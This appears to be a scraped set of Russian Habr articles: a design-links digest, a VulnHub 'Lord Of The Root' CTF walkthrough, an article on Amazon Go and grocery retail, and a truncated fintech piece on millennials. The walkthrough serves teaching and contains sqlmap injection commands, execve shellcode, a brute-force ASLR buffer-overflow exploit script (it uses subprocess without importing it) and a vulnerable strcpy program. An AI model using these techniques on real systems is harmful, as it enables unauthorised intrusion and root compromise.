Zeplin от Raphael Loder . Простой, но достаточно толковый кейс непрошенной доработки приложения Virgin Atlantic . История 3 Obsolete 1990s UX Design Classics That We Love Занятный обзор классических наладонников (Psion Series 3 и PalmPilot) и телефонов (Nokia 5110) на предмет их соответствия модели UX honeycomb от Peter Morville. Тренды Tech Trends 2017 Свежий выпуск прогноза на следующий год от frog design. Другие обзоры трендов: Прогнозы от KickStarter . Блог uxdesign.cc проанализировал сотни публикаций этого года и выделил основные направления развития профессии . Прогнозы по UX от Econsultancy . Алгоритмический дизайн Эксперимент с автоматическим созданием композиции от Adobe и Университета Торонто . Исходя из текущего набора элементов он предлагает либо подкрутить его по-мелочи, либо совсем другой вариант. Очень крутой пример того, как это поможет инструментам будущего. Сервис Logojoy заменяет недорогого фрилансера для создания логотипов. На основе предпочтений по стилю он предлагает множество вариантов, которые затем можно подкрутить и увидеть в контексте условного фирменного стиля. Идеальный пример инструмента алгоритмического дизайна. Его автор Dawson Whitfield рассказывает о работе над продуктом . MIT экспериментируют с видео-предсказаниями будущего . Они генерируют пару секунд предполагаемого развития событий на основе фото. В третьем туре Russian Design Cup одна из задач посвящена инструменту алгоритмического дизайна . Шикарнейшая статья Fabien Girardin о том, как дизайнерам взаимодействовать с аналитиками больших данных для того, чтобы воспользоваться возможностями машинного обучения. Facebook VR Resources Дизайн-команда Facebook запустила раздел про виртуальную реальность на своём сайте. Тут собраны статьи по теме и полезные шаблоны. Одна из статей посвящена особенностям работы с виртуальными руками . Автомобильные интерфейсы Спец.проект BMW, посвящённый столетию компании, который неплохо описывает основные тренды автомобильной индустрии . Botframe — A playground to design bots Онлайн-конструктор Botframe позволяет создать нехитрого бота для Facebook Messenger в браузере. Другие материалы на тему мессенджеров и ботов: Новые боты в Скайпе смогут общаться голосом  — интересный поворот. Почему все сайты такие одинаковые Drew Powers считает, что никакой унылизации нет  — просто посадочные страницы выполняют предсказуемую роль брошюры и стандартизация упрощает изучение информации на них. Для общего и профессионального развития O’Reilly Free Design Books O’Reilly бесплатно раздаёт много книг по дизайну. The Ultimate Guide to Portfolio Builders Обстоятельный обзор сервисов для ведения портфолио. Decision Frames — How Cognitive Biases Affect UX Practitioners Слегка капитанская, но тем не менее полезная заметка Kathryn Whitenton из Nielsen/Norman Group о том, что психологические уловки работают не только на пользователей, но и на самих дизайнеров. Она пишет об этике представления результатов исследований, которые могут повлиять на решения команды. Resilient Web Design Jeremy Keith опубликовал бесплатную книгу «Resilient Web Design». Она описывает современную философию создания веб-сервисов и сайтов. Люди и компании в отрасли Future of Design Шикарный отчёт по результатам опроса стартапов разного размера. Инвест-фонд NEA опросил 400 молодых компаний на тему зрелости дизайна. Сложно сказать, насколько релевантной была выборка, но представлено всё очень вкусно. Dropbox Design Блог дизайн-команды Dropbox на Medium. Копирайтер Josh Saito оттуда давно и активно пишет, теперь оформили отдельный поток. Правда, с СММ у них что-то не заладилось . Другие блоги дизайн-команд: Блог дизайн-команды Uber . Design Census 2016 AIGA и Google запустили очередной опрос дизайнеров. Анонсируется как главная профессиональная перепись, хотя больше похоже на сбор HR-базы. Почему в Санкт-Петербурге сложно найти дизайнера интерфейсов Арт-директор Nimax пишет о проблемах с поиском дизайнеров в Санкт-Петербурге и как всё-таки искать и находить их. Свежие ссылки можно также отслеживать в одноименной Facebook-группе или получать раз в месяц по почте . Спасибо всем, кто также публикует ссылки в ней, особенно Геннадию Драгуну, Павлу Скрипкину, Дмитрию Подлужному, Антону Артемову, Денису Ефремову, Алексею Копылову, Тарасу Бризицкому, Евгению Соколову и Антону Олейнику. Все больше материалов в обзорах появляется благодаря им. Подписывайтесь на рассылку ! Письмо приходит один раз в месяц.
https://habrahabr.ru/company/mailru/blog/318688/
habrahabr
VulnHub: Эксплуатируем уязвимость переполнения буфера в Lord Of The Root
['ctf', 'information security', 'aslr', 'sql injection']
Продолжаем разбор квестов с VulnHub, на этот раз попался довольно интересный с обходом ASLR: Lord Of The Root. Но обо всём по порядку... Запускаем виртуалку с образом: Уже интересно. В...
Продолжаем разбор квестов с VulnHub , на этот раз попался довольно интересный с обходом ASLR: Lord Of The Root . Но обо всём по порядку... Запускаем виртуалку с образом: Уже интересно. В этой лабе нам предоставили графический интерфейс, и дали первую зацепку, в виде логина пользователя: smeagol . Но оставим пока авторизацию, и перейдём к изучению открытых портов: $ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535 Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK Nmap scan report for 192.168.1.175 Host is up (0.00033s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA) | 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA) |_ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA) MAC Address: 08:00:27:40:B5:B3 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 — 3.19, Linux 3.2 — 4.0 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Всего 1 порт? Серьёзно? Запустив nmap повторно, убеждаемся, что пока нам доступен только ssh. Попробуем подключиться: $ ssh [email protected] «Постучи друг, чтобы войти» — отсылка к Властелину Колец. Быстро найдя, что в оригинале друг — это mellon , пробуем авторизоваться. Попытка оказалась неудачной, брутфорс логинов и возможных паролей по тематике тоже не дал результатов. Меня смутило слово постучи , уже имея дело с port knocking , я предположил что он и тут используется. Проверяем догадку: $ sudo knock 192.168.1.175 1 2 3; ssh [email protected] К сожалению, ничего не изменилось. авторизация по прежнему требуется. А что если, после «стука» открывается какой-то порт? $ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535 Спустя продолжительное время, получаем такой результат: Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK Nmap scan report for 192.168.1.175 Host is up (0.00020s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) 1337/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 08:00:27:39:91:65 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel P.S. Тут стоит оговориться, что для ускорения процесса, сканировать порты лучше небольшими диапазонами. Действительно, на «элитном» порту крутится Apache, посмотрим что там: <html> <img src="/images/iwilldoit.jpg" align="middle"> </html> Не многословно… После анализа картинки, в ней тоже ничего не было найдено. Возможно есть скрытые файлы и директории? sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt Ничего интересного, на всякий случай заглянув на 404.html , получаем ещё одно изображение: И вот такой код: <html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html> А вот это уже что-то! Декодируем: $ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d /978345210/index.php Ссылка на на ещё одну старницу, переходим туда: Авторизация… Проверяем первым делом на наличие SQL инъекций: $ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv Нас редиректнуло. Сказав sqlmap продолжить искать, проверяем что находится на странице profile.php . Авторизуемся, используя найденный payload . <!DOCTYPE html> <html> <head> <title>LOTR Profile</title> </head> <body> <div id="profile"> <b id="welcome">Welcome : <i></i></b> <br> <img src="/images/legolas.jpg" align="middle"><br> <b id="logout"><a href="logout.php">Log Out</a></b> </div> </body> </html> Не найдя тут ничего интересного, продолжаем раскручивать инъекцию: $ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2 В лог sqlmap попала база данных: Webapp и единственная таблица: Users . После дампа которой, получаем список логинов и паролей: Тут есть пользователь smeagol , полагаясь на то, что пароль от веб такой же как пароль от системы, пробуем авторизоваться и получаем рабочий стол. Отлично! В истории команд видим записи: smeagol@LordOfTheRoot:~$ cat .bash_history su — sudo /etc/passwod visudo smeagol@LordOfTheRoot:~$ Открыв браузер, в истории можно проследить весь этап создания этой лабы: Тут же видим ссылку , на описание уязвимости с переполнением буфера. Далее при беглом осмотре системы находим папку /SECRET со следующим содержимым: Почитав статью, понимаем, что один из этих файлов имеет описанную там уязвимость, а ниже находим пример эксплойта. Осталось понять какой из файлов. Скачиваем их себе и открываем в IDA, для любителей gdb в виртуалке могут использовать его. /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file И так, нужный нам файл находится за «второй дверью», если внимательно посмотреть, то заметно, что размер этого файла меньше чем у остальных. Копируем эксплоит, компилим его, запускаем, и ничего. Пробуем подставить другие числа, и снова ничего. Открыв этот файл в gdb прямо на виртуальной машине, видим что он изменился! О как… Понаблюдав ещё некоторое время, замечаем, что уязвимый файл, постоянно «перемещается» между этими директориями. Далее шла череда безуспешных попыток воспользоваться этим эксплойтом, на все попытки я либо ничего в ответ не получал, либо это была ошибка «Segmentation fault» либо «Illegal instruction» После долгих экспериментов и просмотра состояния регистров и стека, до и после обработки входной строки, я заметил, что адрес стека всё меняется в диапазоне от 0xBF000000 до 0xBFFFFFFF . Выполнив команду: $ cat /proc/sys/kernel/randomize_va_space 2 Убеждаемся, что в системе включен ASLR. Есть несколько способов его обхода, о них уже неоднократно писалось ранее. Я остановился на BruteForce, потому что диапазон изменения памяти не такой большой, да и файл слишком прост, чтобы всё усложнять. Нам потребуется GDB Peda . Для начала, нужно определиться со смещением по которому находится адрес возврата, именно его и нужно будет переписать. Запускаем наш файл в отладчике, передав ему очень длинную строку в качестве аргумента Отлично, адрес возврата (EIP) перезаписан нашим значением. Далее, с помощью шаблонов в peda можно автоматически определить смещение по которому этот адрес расположен. Создаём шаблон: И после запуска получаем примерно такой вывод: Смещения найдены (я брал примерно среднее значение адреса стека), можно приступить к написанию эксплоита. Там же в peda можно на выбор сгенерировать шелл-код: Однако сразу стоит предупредить, что у вас могут быть другие смещения. #!/usr/bin/python import struct import os def p(x): return struct.pack("<L", x) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" payload = "" payload += "A"*171 payload += p(0xbfb1c5ec) payload += "\x90"*30000 payload += shell def getFile(): output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE) path = output.communicate()[0] path = path.decode().strip() return path while True: os.system('%s "%s"' %(getFile(), payload)) #os.system('gdb --args %s "%s"' %(getFile(), payload)) После запуска получаем кучу ошибок, и спустя некоторое время получаем root доступ, а вместе с ним и флаг: P.S. Кому интересно, вот так выглядели исходники, скрипта меняющего файлы и уязвимая программа. Скрипт switcher.py был прописан в cron. switcher.py #!/usr/bin/python import os from random import randint targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"] for t in targets: os.system("rm "+t+"*") os.system("cp -p other "+t) os.system("cp -p "+t+"other "+t+"file") os.system("rm "+t+"other") luckyDoor = randint(0,2) t=targets[luckyDoor] os.system("rm "+t+"*") os.system("cp -p buf "+t) os.system("cp -p "+t+"buf "+t+"file") os.system("rm "+t+"buf") other.c #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[150]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } //This Program does nothing return 0; } buf.c #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[159]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; }
https://habrahabr.ru/post/318238/
habrahabr
Съест ли Amazon продуктовые магазины на обед?
['Amazon', 'ритейл', 'США', 'коммерция', 'статистика', 'финансы', 'PayOnline']
Когда на рынке появился Amazon Go, все заговорили об инновационном прорыве в оплате покупок. По мнению автора, Amazon Go — это лишь небольшой фрагмент того, как Amazon планирует «перекроить» сферу...
Когда на рынке появился Amazon Go, все заговорили об инновационном прорыве в оплате покупок. По мнению автора, Amazon Go — это лишь небольшой фрагмент того, как Amazon планирует «перекроить» сферу продуктовых магазинов, полностью изменив то, как и где люди будут покупать продукты. Заодно Amazon показал, во что превратится весь ритейл, если вторжение Amazon в область торговли продуктами питания окажется успешным. Ритейлеры, которые давно волновались по поводу влияния « Amazon-эффекта » на их бизнес, получили еще один повод для тревоги. В Сиэтле, США, на прошлой неделе открылся Amazon Go — продуктовый магазин нового формата. Прямо сейчас единственными его клиентами являются сотрудники Amazon, на которых возложена задача по проверке возможностей Amazon Go. При этом, по словам пресс-секретаря компании, двери для покупателей откроются в начале 2017 года. До нас дошли лишь некоторые подробности о том, как Amazon Go реализует те возможности, которые покупатель получает внутри магазина. Сочетание приложения Amazon Go, турникета на входе/выходе, методов глубинного обучения и датчиков позволяет создать магазин будущего без кассиров и касс. Когда покупатель покидает магазин, товары, которые он приобрел, будут оплачены с его аккаунта на Amazon, и в электронной квитанции будут отражены все позиции. Бизнес в стиле «Убер» против традиционного ритейла И конечно, все это по-настоящему здорово. Это еще одна важная веха в истории ритейла, теперь для оплаты покупок больше не нужны кассовые терминалы. Мы давно это обсуждали, а потом другой новатор в области ритейла — Starbucks — показал нам, что это возможно, запустив предварительный заказ с мобильного чуть больше года назад. Сегодня использование предварительного заказа с мобильного приносит Starbucks порядка 6% от всех продаж, и этот показатель показывает двузначный рост квартал за кварталом. В часы пик, по утверждению Starbucks, на предварительный заказ с мобильного приходится до 20% от всех заказов. Тенденция предварительного заказа и оплаты простирается далеко за пределы Starbucks. На прошлой неделе Chase Pay объединилась с LevelUp с целью внедрить эту систему в сотнях тысяч ресторанов быстрого питания по всей стране. Платежная платформа LevelUp поддерживает платежи с мобильного и заказы с мобильного на вынос. Генеральный директор LevelUp Сет Прибач, отметил, что его клиенты из сетей быстрого питания заметили изменения, аналогичные произошедшим в Starbucks, вместе с ростом средней стоимости заказов, который порой превышал 15%. Но сказать, что Amazon Go усовершенствовал процесс покупок — то же самое, что назвать главным достижением iPhone — прорыв в области телефонных звонков. Другими словами — упустить самое главное. Конечно, Amazon Go изменил способ оплаты покупок, но если вы ритейлер, страх вас скручивает не из-за этого. Подобно тому как Uber изменил восприятие и подход клиентов к услугам такси, а iPhone изменил подход к использованию телефона, Amazon меняет привычки потребителей в области покупки самого необходимого для всех и каждого — еды. Чем интересна сфера продуктового ритейла Масштабы американского продовольственного бизнеса огромны. Из 606 миллиардов долларов годового объема продаж (данные за 2015 год), на траты в продуктовых магазинах для домашнего потребления приходится 7,1% от всех потребительских расходов (в расчете на медианный годовой доход в размере 56.516 долларов США и ежегодные траты на продукты в размере 4.015 долларов). Институт маркетинга и продуктов питания (Food Marketing Institute) сообщает , что около 50% суммы тратится на скоропортящиеся продукты — такие как мясо (13% из 50%), овощи и фрукты (11% из 50%) и молочные продукты (8% из 50%). На нескоропортящиеся продукты питания остается еще 25%, а на нескоропортящиеся непищевые товары — бумажные полотенца, туалетную бумагу, стиральный порошок и моющие средства — еще 7%. Сегодня покупка всего вышеперечисленного по-прежнему происходит в физических магазинах. Онлайн-продажи сегодня — ничтожно маленькая величина, составляющая всего 7 миллиардов долларов, или чуть более 1% от общего объема продаж продуктов питания. Поход в продуктовый магазин — это прочно укоренившийся ритуал, который, в среднем совершается 1,6 раз в неделю. По крайней мере сейчас. Но Amazon «положил глаз» на продуктовые магазины и какое-то время уже меняет их. Pantry, запущенная в апреле 2014 года, Dash — стартовавшая в марте 2015 года и система пополнения Dash, увидевшая свет чуть позже в том же году, были нацелены на перераспределение 32% продаж продуктов, рассматриваемых потребителями онлайн в качестве основных. Огромная часть потребителей как минимум раз в неделю посещает продуктовый магазин с целью пополнения запасов основных товаров, которые не требуют дополнительных поисков и изучения. Дав клиентам системы Prime возможность покупать бумажные полотенца «Bounty», капсулы для стирки Tide или большие упаковки печенья для собак Milk-Bones в онлайне, Amazon тем самым исключил лишние хлопоты по посещению магазина, покупке, и самостоятельной доставке купленного домой. Заплатить лишних пять баксов за доставку — легкий и желанный компромисс для многих клиентов Prime. Вскоре после описанных событий на рынке и на кухнях миллионов американцев появились Alexa и ее аудиоколонка Echo. Это те самые кухни, где еще недавно мамы с папами разглядывали опустевшие полки, составляя список для похода в продуктовый магазин. Теперь вы можете попросить Alexa добавить необходимое в еженедельный список покупок и сделать заказ с помощью простой и удобной голосовой команды. Эти незаметные перемены в привычках затронули не только перемещение продаж крупногабаритных товаров из физических магазинов в онлайн и на Amazon. Речь идет об изменении самого подхода потребителей к совершению покупок в продуктовых магазинах и, в том числе, того, как они используют традиционные магазины для покупки продовольствия. Так формируется полная картина событий, связанная с Amazon Go, и становится понятно, как изменится ритейл. Больше чем просто покупка продуктов Подумайте о том, что происходит. Amazon является движущей силой коммодитизации категории продовольственных товаров, в том числе тех же нескоропортящихся продуктов и товаров, которые по мнению покупателей являются основными. Помочь потребителям преодолеть основное препятствие — привыкнуть покупать такие товары через Интернет — удалось за счет сотрудничества с брендами, продукцию которых потребитель уже знал, покупал и доверял ей: бумажные полотенца Bounty, стиральный порошок Tide, чипсы Pringles, кофе Folgers. Но продуктовый магазин — это низкомаржинальный бизнес, и доставка крупногабаритных вещей на дом потребителю обходится довольно дорого — что подтверждает растущая стоимость доставки на Amazon. Продвижение Amazon своих торговых марок в ключевых категориях — это один из рычагов контроля себестоимости продаж, не говоря уже о полноте возможностей покупателя в плане приобретения продуктов. В отчете , опубликованном 1010data в прошлом месяце, две категории — продажа батареек и детских салфеток — судя по всему, подтверждают эту теорию. В отчете сообщается, что сегодня на Amazon приходится 94% от всех онлайн-продаж батареек (при общей оценке рынка в 113 миллионов долларов). Батарейки — также одна из позиций, размещаемых в магической зоне импульсных покупок возле касс в физических магазинах. Amazon не только упростил покупку батареек с помощью Интернета и отнял у физических продуктовых магазинова высокомаржинальные продажи, он запустил свою торговую марку, которая захватила около трети рынка и находится на пути к тому, чтобы затмить продажи таких фирменных брендов как Eveready и Duracell. То же самое происходит и с детскими салфетками. В том же отчете 1010data сообщается, что объемы продаж детских влажных салфеток под торговой маркой Amazon выросли на 266% в годовом исчислении. По оценкам 1010data, по объему продаж доля компании Amazon на рынке составит 16%, что ставит ее на почетное третье место, позади таких лидеров в категории как Huggies и Pampers. В обоих случаях 1010data пришла к выводу, что потребители с большей в три раза долей вероятности купят товар под торговой маркой Amazon, чем товары лидеров категории. Это важный момент по еще одной причине: последние исследования компании Kantar говорят о том, что 55% онлайн-покупателей каждый раз приобретают продукты одной и той же марки у одного и того же продавца. Также потребители тратят почти в три раза больше денег на покупки продуктов онлайн. Поэтому смена потребительских предпочтений на Amazon, а затем и на продукцию под маркой Amazon приносит компании три потенциально больших «дивиденда»: Amazon становится продавцом, которого предпочитают потребители, при этом они покупают товары с этикеткой Amazon, и Amazon становится магазином продовольственных товаров, в котором потребители тратят большую часть своих денег на продукты. Одновременно с переносом покупки нескоропортящихся продуктов в онлайн и на Amazon, компания начала завоевывать те 50% сегмента, которые гораздо сложнее и тяжелее переместить в онлайн — сегмента скоропортящихся продуктов. Но вместо того, чтобы изменить привычки потребителей в плане покупки мяса, фруктов, овощей и молочных продуктов, Amazon приняла решение о создании физического магазина нового типа. Amazon Go — небольшой по площади магазин, торгующий только скоропортящейся продукцией. Оплата покупок максимально проста, главное, чтобы покупатель сделал свой выбор. Сам выбор упрощается благодаря небольшой площади торговой точки, поскольку покупателю не нужно бродить по 60 000 квадратным футам магазина, чтобы найти всё необходимое. Кроме того, Amazon Go предлагает готовую продукцию, и это еще одна причина посещать магазин почаще. Высокая проходимость помогает получить большую долю от общих расходов покупателей на продукты (что составляет примерно 15% от общего бюджета потребителя), а также на высокомаржинальные товары. Почему даже один процент имеет значение Скептики сомневаются в способности Amazon добиться успеха в продуктовом ритейле и указывают на тот факт, что сегодня на онлайн-торговлю в данном сегменте приходится всего 1%. Это, несомненно, те же люди, которые десять лет назад успокаивали окружающих убедительными аргументами, что 98% всех розничных продаж по-прежнему происходит в физических магазинах. В то время как ритейлеры бездельничали, судно ритейла дало течь (во многих категориях весьма серьезную), налетев на айсберг под названием Amazon. Категории, в которых продажи в физических магазинах упали особенно сильно, перейдя в онлайн, по неслучайному совпадению оказались теми же категориями, в которых Amazon выстраивал свой онлайн-бизнес: электроника, канцелярские и спортивные товары отдали онлайну 18, 33 и 25% от общего объема продаж соответственно. И большую часть они отдали именно Amazon. Но впрочем, не волнуйтесь — 90% продаж ритейла все еще происходит в физических магазинах. Продуктовые магазины станут следующими, кто ощутит изменения. Похоже, с появлением Amazon Go, Amazon не только кардинально меняет подход к покупкам продуктов, но и закладывает предпосылки для трансформации всего сегмента. Предстоящей трансформации немного помогают, двойной удар наносит падение цен на продукты питания. Традиционная розница, столкнувшись с жесткой конкуренцией, делает то, что у нее получается лучше всего: предоставляет скидки. По сообщениям аналитиков, Walmart, который делает 50% от всех продаж за счет продуктов питания, дает скидки, не виданные с 2009 года. И во всем виноват Amazon. Акции Kroger, крупнейшей сети продовольственных магазинов в стране, потеряли более четверти своей стоимости, когда компания снизила цены, чтобы заманить покупателей в магазины. Покупатели, раскусив этот хитрый план, стали тщательно выбирать товары только по сниженным ценам. Гонка ко дну идет полным ходом. В то время как традиционные продуктовые магазины соревнуются в предоставлении наибольших скидок, Amazon возглавляет трансформацию продовольственных магазинов, делая ставку на новую модель небольших магазинов, где на первое место выходят удобство и самообслуживание. Компания Amazon опровергла сообщения, что она планирует открыть 2 000 магазинов Amazon Go — возможно потому, что она планирует открыть 6 000 (шутка). Но для того чтобы изменить баланс сил в продуктовом бизнесе и изменить привычки покупателей, Amazon Go вряд ли понадобится настолько большое присутствие на рынке, как у Kroger. Amazon стал крупнейшим ритейлером по рыночной капитализации с его 300 млн клиентской базы, захватив очень небольшой процент из общей доли розничных продаж, но обладая большой долей в отдельных категориях. Этот плацдарм предоставил Амазон много других перспективных возможностей для того, чтобы двигаться вперед, завоевывая новые фронтиры розницы. Не пройдет и 20 лет, как продуктовые магазины ощутят на себе Amazon-эффект, который уже предопределил их дальнейший путь. Uber существует уже порядка семи лет и компании удалось сделать так, что дни более чем столетней таксомоторной индустрии уже практически сочтены. В Сан-Франциско количество поездок на такси снизилось на две трети. За два года в Лос-Анджелесе их количество упало на 42%. В Нью-Йорке Uber получил 51% на рынке деловых поездок , два года назад речь шла о 9%. Компания уверенно идет к тому, чтобы отъесть большой кусок и в сфере аренды автомобилей. Сегодня 15% людей, отправляющихся в рабочие командировки, заявляют о том, что стали меньше использовать аренду автомобилей, потому что им проще воспользоваться Uber или Lyft. Как только потребители находят подходящую альтернативу, им не требуется много времени, чтобы она стала их новой привычкой, и уж тем более их не волнуют доходы «бывших любимчиков». Это означает, что продуктовым магазинам пора прекратить прикрываться фактом что 99% покупок до сих пор происходит у них, и, пока еще есть время, начать предпринимать какие-то действия помимо скидок, для того чтобы не стать на те же грабли, что и индустрия перевозок. И всем остальным секторам ритейла стоит сделать то же самое. Если Amazon преуспеет в продовольственном секторе, компания не остановится на достигнутом. Когда Amazon представил кнопку Dash в 2015 году, я написала статью, в которой поднимался вопрос: сможет ли Amazon сделать с продуктами то же самое, что он сделал с книгами? В этой статье я предположила, что онлайн-покупка товаров широкого потребления, таких как бумажные полотенца, стиральный порошок, зубная паста и корм для собак, сможет изменить использование продуктовых магазинов в целом. И что покупатели будут использовать их скорее точечно, например, заезжать по пути домой за немногими продуктами, которые понадобятся им вечером для приготовления ужина — и это приведет к огромным изменениям в традиционной торговле продуктами. Вторжение Amazon в продовольственный сектор также напоминает приход Amazon в онлайн. По мнению Безоса, книги были той категорией товара, который покупали все и ими можно было легко торговать через интернет. Еда также подходит под эти параметры — и еще некоторые другие товары. Большинство из нас ест три раза в день, семь дней в неделю, 365 дней в году. Сегодня покупка нескоропортящихся товаров онлайн не так сильно отличается от покупки книг. Она приводит в действие совершенно новый способ формирования процессов приобретения продуктов онлайн и оффлайн, и создает новую бизнес-модель ритейла. Двадцать лет назад 100 книг продавалось в книжном магазине. Сейчас продажи книг в магазинах составляют чуть более 50%, и эта цифра уменьшается — с возрастанием количества онлайн-продаж на Amazon. Так пусть же начнется трансформация продуктового ритейла и ритейла в самом широком смысле!
https://geektimes.ru/company/payonline/blog/282668/
habrahabr
Грядущий финтех-кризис миллениалов
['миллениалы', 'ритейл', 'поколения Y', 'кризис', 'статистика', 'финансы', 'PayOnline']
Компаниям, предоставляющим современные финансовые сервисы, в любом случае приходится ориентироваться на поколение, представители которого родились в период между 80-ми и 00-ми годами. В США,...
Компаниям, предоставляющим современные финансовые сервисы, в любом случае приходится ориентироваться на поколение, представители которого родились в период между 80-ми и 00-ми годами. В США, несмотря на развитую финтех-индустрию, проектам для успешной работы приходится учитывать массу особенностей поколения Y . Автор данного материала приводит ряд нюансов и подробно рассказывает о кризисной ситуации, сложившейся вокруг миллениалов в США. Некоторые из характеристик, приведенных в статье, возможно, будет полезно взять на заметку и отечественным финтех-проектам, которым также приходится ориентироваться на эту группу пользователей. Ни для кого не новость, что 70 миллионов людей, рожденных в период с 1980 по 2000 год — так называемые миллениалы — находятся сейчас в непростом финансовом положении. Но, как сообщает Кэрен Уэбстер, новое исследование Стэнфордского университета дает необычные оценки их финансовому положению. По этим данным, лишь 50 процентов представителей этого поколения смогут в перспективе начать зарабатывать больше, чем их родители, а для детей из семей среднего класса и ниже среднего класса эта картина выглядит еще хуже. Такой взгляд на вещи, считает Уэбстер, поднимает целый ряд вопросов как для общества, так и для игроков сферы платежей, ритейлеров, и коммерческих компаний, желающих обслуживать миллениалов. Данный материал подробно раскрывает эту тему. Это факт. Даже несмотря на то, что миллениалы получают удовольствие от финтех-инноваций, для многих из них шансы в перспективе зарабатывать больше своих родителей не просто не растут как снежный ком, но на деле, скорее, крайне малы. Величина разрыва в уровнях доходов 70 миллионов миллениалов и их родителей зависит от нескольких вещей, в том числе и от состоятельности последних. Неудивительно, что сильнее всего ощущают ее дети из семей среднего класса и более низких слоев. Или, иными словами, почти 70% населения США. Остановимся на минуту и задумаемся Одно дело когда миллениалу, ребенку миллиардеров, получающих свой доход с операций на хедж фондах, никак не удается взять свой миллиард и в итоге у него выходит 760 миллионов в год. Никто не будет беспокоиться о том, смогут ли такие люди за тридцать прокормить себя или заплатить по ипотеке. Но когда даже половине миллениалов, рожденных в семьях среднего уровня дохода, и трети миллениалов, рожденных в семьях со средним или ниже уровнем дохода, не удается побить финансовые рекорды своих родителей, то здесь уже наше общество сталкивается с совершенно другим набором проблем. И эти проблемы влекут за собой очень критичные последствия для всех участников рынка платежей, ритейла и коммерции, которые стремятся всячески извлечь пользу из покупательской способности заветного поколения. Представители которого в конечном счете могут оказаться не столь состоятельными потребителями. Данные говорят сами за себя И эта тема не нова. Данные о том, что поколение, популяризировавшее тайскую еду и превратившее леггинсы в предмет повседневного корпоративного гардероба, испытывает финансовые затруднения, начали всплывать постепенно еще в 2013 году. Тогда появилось исследование, по данным которого, суммарный собственный капитал поколения миллениалов на 20 процентов уступает тому же показателю той же возрастной группы в 1983 году. Если же сравнивать его с родителями этой возрастной группы то здесь разрыв между ними и поколением Y будет еще в два раза больше. Беспокойство вызывал не сам уровень дохода или покупательная способность как таковые, но возможные последствия, которые должны при таком раскладе сказаться на пенсии и последующем уровне жизни этого поколения через 30-40 лет. С тех пор мы время от времени получали крохи полезных данных о финансовом состоянии миллениалов, их гигантских студенческих долгах, их любви или ненависти к деньгам, а также отношению к вопросам трудоустройства и карьеры. Однако лишь недавнее революционное исследование Ража Четти, профессора экономики в Стэнфорде, и нескольких его коллег, наконец, снова обратило внимание на тот факт, что представители поколения, внимание которого так тщательно пытаются завоевать все бренды, в большинстве своем — банкроты едва ли способные когда-либо достигнуть того же уровня заработка, что и их родители. Это очень примечательное исследование, в том числе и по уровню информативности. Его авторам удалось добиться того, чего не удавалось сделать до этого никому другому: связать воедино данные о доходе целого ряда поколений. Четти и его команда сделали это, получив доступ к анонимизированным налоговым декларациям жителей возрастной категории от 30 лет и выше, собранным в период с 1940 по 1980 годы. Ознакомиться с исследованием полностью можно здесь . Прекрасный краткий обзор работы выполнил колумнист New York Times Девид Леонхардт. Работа Четти достойна тщательного изучения, однако все, что вам действительно нужно знать о сделанных им выводах с помощью всего двух графиков подытожил Леонхардт. Первый из них рассказывает историю о разрыве в уровнях доходов весьма красноречиво. Шанс начать зарабатывать больше денег, чем ваши родители, если вы… (были рождены в таком-то году). Источник: nytimes.com Самая свежая информация, которую мы можем здесь почерпнуть, заключается в том, что перспективы зарабатывать больше своих родителей для молодых людей, входящих в свой третий десяток лет, начали стремительно падать еще с 1950 года. Дети, родившихся в 1940-х имели самые высокие шансы, что неудивительно, учитывая только что закончившуюся в конце 30-х Великую депрессию и последовавший за ней быстрый рост экономики, обусловленный масштабным переходом от аграрного к автоматизированному производству. Последующие взлеты и падения экономики, вызванные энергетическими кризисам (70-е), технологической революцией и глобализацией (90-е), немного улучшали вероятности для «бейби бумеров» (поколения 50-60-х) и еще чуть-чуть для «поколения X» (рожденных 